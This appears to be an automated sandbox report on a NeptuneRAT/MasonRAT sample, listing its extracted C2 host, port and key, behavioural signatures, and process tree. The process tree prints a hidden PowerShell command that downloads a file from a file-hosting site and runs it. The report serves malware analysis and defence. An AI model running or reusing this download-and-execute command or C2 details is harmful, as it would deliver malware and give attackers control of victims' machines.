Analysis
- max time kernel
149s - max time network
152s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
04/08/2026, 01:58
General
- Target dd.exe
- Size 49KB
- Sample260804-cebd9abb82
- SHA256 78009293a1089c18fa20be29a60e91501a3add266af89bc8976644c41e8cf8b6
Malware Config
Extracted
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neptunerat
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viperalza7fgg-40476.portmap.host:40476
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filename
USB.exe
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group
MasonGroup
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key
Pav1witvA2JWYxNv
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rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\dd.exe"C:\Users\Admin\AppData\Local\Temp\dd.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
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Downloads
__PSScriptPolicyTest_t3wgft2w.yxy.ps1
memory/3496-0-0x0000000000B40000-0x0000000000B52000-memory.dmp
memory/3496-17-0x0000000002CC0000-0x0000000002CD0000-memory.dmp
memory/3496-18-0x0000000002CC0000-0x0000000002CD0000-memory.dmp
memory/4688-1-0x0000012522770000-0x0000012522780000-memory.dmp
memory/4688-2-0x0000012522770000-0x0000012522780000-memory.dmp
memory/4688-3-0x00000125226D0000-0x00000125226F2000-memory.dmp
memory/4688-11-0x0000012522770000-0x0000012522780000-memory.dmp
memory/4688-12-0x0000012522770000-0x0000012522780000-memory.dmp
memory/4688-13-0x0000012522770000-0x0000012522780000-memory.dmp
memory/4688-14-0x0000012522770000-0x0000012522780000-memory.dmp